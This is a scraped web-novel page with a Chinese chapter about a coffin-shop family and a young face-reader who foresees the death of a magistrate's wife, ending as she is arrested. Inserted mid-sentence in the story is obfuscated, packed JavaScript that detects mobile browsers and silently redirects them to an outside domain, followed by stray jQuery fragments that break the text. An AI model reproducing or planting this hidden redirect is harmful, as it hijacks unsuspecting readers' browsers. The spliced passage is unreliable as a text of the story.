默认冷灰
24号文字
方正启体

2. 夭儿2

作者:慕沉酒本书字数:K更新时间:
    姜记棺材铺共有三人,姜拯,荀舒,以及贺玄。


    姜拯今岁四十又六,是棺材铺的东家,生在潮州长在潮州,身材健硕,眉毛浓密,双目慈祥,瞧着颇为和善。棺材铺是姜拯的祖父开的,祖父传给父亲,父亲又传给了他,至今已有二十多年。


    父亲死后,姜拯同发妻一同操持着棺材铺,十多年前妻子离世,之后姜拯一直孤身一人,直到在山脚下捡到了家中遭灾、年仅十岁的荀舒,之后二人以叔侄相称,相依为命,一晃就是这么多年。


    小半年前,荀舒去山中采野荀,顺便捡了个一身泥泞、浑身是伤的人回家。


    这个人正是贺玄。


    荀舒在山中看到他时,见他身上的伤口像是被刀剑所伤,本不想招惹麻烦,但一抬头瞧见他大富大贵的面相,心中起了别的心思。


    棺材铺已经许久未开张了,加之城中米粮贵了不少,棺材铺没米下锅,她这才进山找吃食。若她能救下此人,待他痊愈后要些酬金,棺材铺的苦日子也许就要结束了。


    富贵险中求,荀舒也不知哪儿来的力气,咬着牙将他背回了棺材铺。


    姜拯心善,见荀舒背了个昏迷不醒的伤者回来,并不多问,只悉心救治,却没想到这人康复清醒后,竟将一切都忘记,只记得自己的名字。


    为了此事,荀舒足足半日郁闷得吃不下饭。她本以为救了个财神爷,可以改善棺材铺的生活,如今不仅改善不了,甚至又多了一张吃饭的嘴。


    若此时将他驱离棺材铺,怕是白救了,姜拯便问他愿不愿意留在棺材铺干活,虽然晦气了点,但好歹有地方住,有东西吃。贺玄犹豫两日后,答应了下来,自此留在了棺材铺中。


    自那以后,棺材铺就成了他们三个人的家。有活的时候,三人一同去山上砍树做棺材,给棺材雕花,偶尔也接些为人收尸的活儿;没活的时候,三人便出去各自找些营生,努力换得一家人的温饱。


    荀舒觉得,虽然他们没有血缘关系,但早就是真正的一家人了。


    此刻的棺材铺后院,荀舒将挎包取下,小步上前去接姜拯手中的馒头,被姜拯一个侧身避开。


    姜拯嫌弃道:“快去洗手,别脏了我刚蒸好的馒头。”


    荀舒收回手,磨磨蹭蹭到一旁取了水,贺玄凑过来,抢在她之前净了手,而后将手上的水珠甩了荀舒一头一脸。荀舒也不恼,慢条斯理净手,末了将一旁搭着的帕子浸到水中,湿透后拧得半干,趁贺玄不注意,直接糊到了他的脸上。


    “……荀舒,你幼不幼稚!”


    贺玄将帕子取下,眉毛和睫毛挂上了水珠,整张脸如雨后远山般净透,眼神中有细碎笑意。他拧干帕子,擦净脸上的水,再睁开眼时,两只鸡翅已然进了荀舒的碗中。他狠狠瞪着那俩鸡翅膀,磨着后槽牙:“我俩都喜欢鸡翅,姜叔你偏心!每次都全给她!”


    姜拯用筷子敲了下他的脑袋:“多大的人了,和妹子抢吃的。”


    贺玄扁扁嘴,嘟囔道:“才不是妹子。”


    荀舒啃着碗中的鸡翅膀,看着这一桌子菜,含糊不清道:“城中又有人死了?”


    姜拯忍了又忍,还是没忍住笑起来:“我今日出门找活,瞧见路过的郑家老夫人,我看她印堂泛黄隐隐可见黑斑,面色青白中透着黑气,蔓延至双耳,至耳轮枯黑,是‘夺命鬼到’的面相。我估摸着,少则十日,多则一个月,咱们铺子定能接到郑家的生意。”话音落下,他似察觉到不妥,收敛起笑容,清了清嗓子,佯装严肃,“小舒,你那摊子也不赚钱,明日一早与我同去山上,找找合适的木材。郑家向来要面子,要是能寻到柏木做棺椁,定能卖个好价钱。”


    荀舒双颊一鼓一鼓,将鸡骨头完整吐出后,慢条斯理道:“明日上午不行,我要去趟赵县令府上。”


    “赵县令府上?他的宅子中要出事?”


    荀舒叹了口气,没了胃口:“此事也怪我,赵夫人今日来寻我,我便帮她看了看面相。”


    姜拯皱眉哀叹:“你又说了她的死期?”


    三个月前荀舒刚开始摆摊时,每日里还是能遇到几个找她算命的客人的。那时荀舒看过他们的手相面相生辰八字,开口说不了几句话,便开始报对面人的死期,什么活不过三个月,三年内必有大劫,每每惹得对面人骂骂咧咧地离开。


    没几日,荀舒的名声便在潮州城中传开,有人在背地里骂她是“夺命神婆”,之后再无人去那树下小摊算命。


    听到姜拯的话,荀舒摇了摇头,认真道:“你们叮嘱我的,我都有记住,不看死期,不说大难临头。”


    贺玄附和道:“是啊,阿舒应当没说谎。我去寻她时,瞧见她今日赚了几个铜板。若是说了这些话,她怕是一分钱都赚不到。”


    姜拯刚松了口气,还没彻底放下心来,又听到荀舒开口:“是啊,我只是告诉她,她这辈子没子没孙,要早做打算。”


    姜拯:……


    赵县令夫妇伉俪情深,育有一子一女,是潮州人尽皆知的事,荀舒这般说,和胡说有什么两样?偏赵夫人还肯赏钱给她,真是个大善人。


    贺玄愣了一瞬,旋即指着她仰头大笑:“你和我有何不同?都是骗子罢了!”


    荀舒拧眉,纠正道:“你才是骗子……不过这不是重点。我观她手相,能看到的劫数有四,前三劫与子女有关,第四劫却是关于她自身的一个大劫。”她顿了顿,严肃了神情,“这一劫若不小心应对,会是死劫。我看她面相,推测这一劫还要些时日,最初便未告知于她。可是在我说完前三劫后,她的面相瞬间改变,这第四劫竟是提前了。”


    姜拯瞥了一眼贺玄,视线转向荀舒:“你可是要助她化解此劫?”


    荀舒垂眼思索半晌,摇头又点头,所有的犹豫不决最后俱化为一声叹息:“此劫与她的命数相关,这是她的命,我插不了手。只是此劫提前因我而起,我还是要提醒她几句的。”


    -


    赵县令的宅子在潮州南边,正门前是宽阔的大路,后面靠着茂山,左右侧一方是民宅,一方是一片树林。


    前有名堂后有靠山,兼之聚风藏气,是个风水极好的地方。


    荀舒站在赵宅门口,视线扫了一圈,正准备上前请家丁通传时,一抬眼便瞧见赵夫人带着昨日那个婢女,阴沉着脸从宅子中走出。


    “赵夫人!”荀舒上前几步,挡住赵夫人的去路。


    相较于昨日,赵夫人今日的脸色差了不少,她瞧见荀舒,惊讶一闪而过:“你是昨日的相士?”


    荀舒点头:“我今日来,是想赠夫人一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668253|173024||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    卦。”


    赵夫人蹙眉,摆摆手:“今日便罢了,我还有急事。”


    “等等!”荀舒左挪半步,再次挡在她的面前。眼见着赵夫人眼中有不耐的神色浮现,赶忙开口,“赵夫人,最近万望小心,身边莫要离人,最好是你信任的人。”


    荀舒双眸澄澈,说得格外认真。赵夫人看着她的眼睛,如着了魔似的,不耐散去,烦躁的心逐渐平静下来。


    “好,我会小心的。”


    说完,赵夫人不再停留,带着婢女匆匆离开。


    荀舒目送她上了马车,直到马车消失在街巷间,马蹄践踏起的灰尘重新落地,车轮滚动声渐行渐远,才长长叹了口气。


    师父说得对,世间万般皆是命,强求不得。


    荀舒将此事彻底放下,准备去寻姜拯,一转身却被突然出现在眼前的笑脸吓了一跳,摇晃着退后几步,险些跌倒。始作俑者贺玄拉了她一把,扯住她的手肘方避免了意外的发生。


    见荀舒站稳,贺玄迅速松开手,挠了挠头,语气中全是歉意:“对不住,没想到你这么不经吓。”


    荀舒拧着眉头,眯着眼睛,看着贺玄满脸嫌弃:“你不去骗人,却来吓我,有病吧?你来这儿做什么?”


    “我那是替人排忧解难,安抚人心,怎么能说是骗人呢?”贺玄纠正道。他指着茂山的方向,“猜你会直接去找姜叔,想着你一个人走山路不太安全,干脆关了铺子来送你,顺便帮帮姜叔,毕竟他也年纪大了。”


    这说的倒像是句人话。荀舒整理了下袖子上的褶皱,向着茂山的方向走。贺玄跟在她的身后,如聒噪的雀儿:“你说赵夫人大难临头,可是真的?”


    提起这事儿荀舒就心烦,赵夫人的大劫虽与她无关,但她无故被扯进他人的因果,怎么都没办法当做什么都没发生,特别是在瞧见赵夫人黄中透黑的印堂,几乎可以确认是个死劫之后。


    她闷闷“嗯”了声,不愿搭理贺玄,贺玄却像是没察觉到她的不耐烦,继续叽叽喳喳:“你的相术是跟姜叔学的吗?”


    荀舒突然停住脚步,贺玄险些撞在她身上。


    荀舒微微侧过身,横了他一眼:“你打听那么多做什么?”


    贺玄眨眨眼,眼神中有茫然:“因为我也想学啊。”


    “哦。”荀舒转身继续前行,勉强接受了这个答案,“是和他学的,你想学自去找姜叔说便是,他不会拒绝你的。”


    贺玄思索片刻,似乎觉得是这个道理,便也不再提此事。


    -


    棺材铺三人在山中呆了两日,寻到了合适的木材切割成木板。第三日清晨,姜拯驾着驴车,载着方晏、荀舒和木板回到潮州城的棺材铺。几人从棺材铺后门进,东西还未卸下,便听到棺材铺前门响起叩门声。


    贺玄和姜拯忙着卸木板,荀舒便一个人去开门。她小跑着穿过院子,又穿过棺材铺,将挡门的木头取下后拉开木门,被门外站着的官差吓了一跳,结结巴巴道:“这是怎么了?”


    领头的人叫倪大强,是荀舒的旧相识,此刻表情颇为严肃,却还是尽力柔和声音,不吓到面前的小姑娘:“荀舒,今早有人发现了赵夫人的尸体,据她的婢女说,前两日你与她起过争执。县令怀疑你与她的死有关,令我们将你带回县衙。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)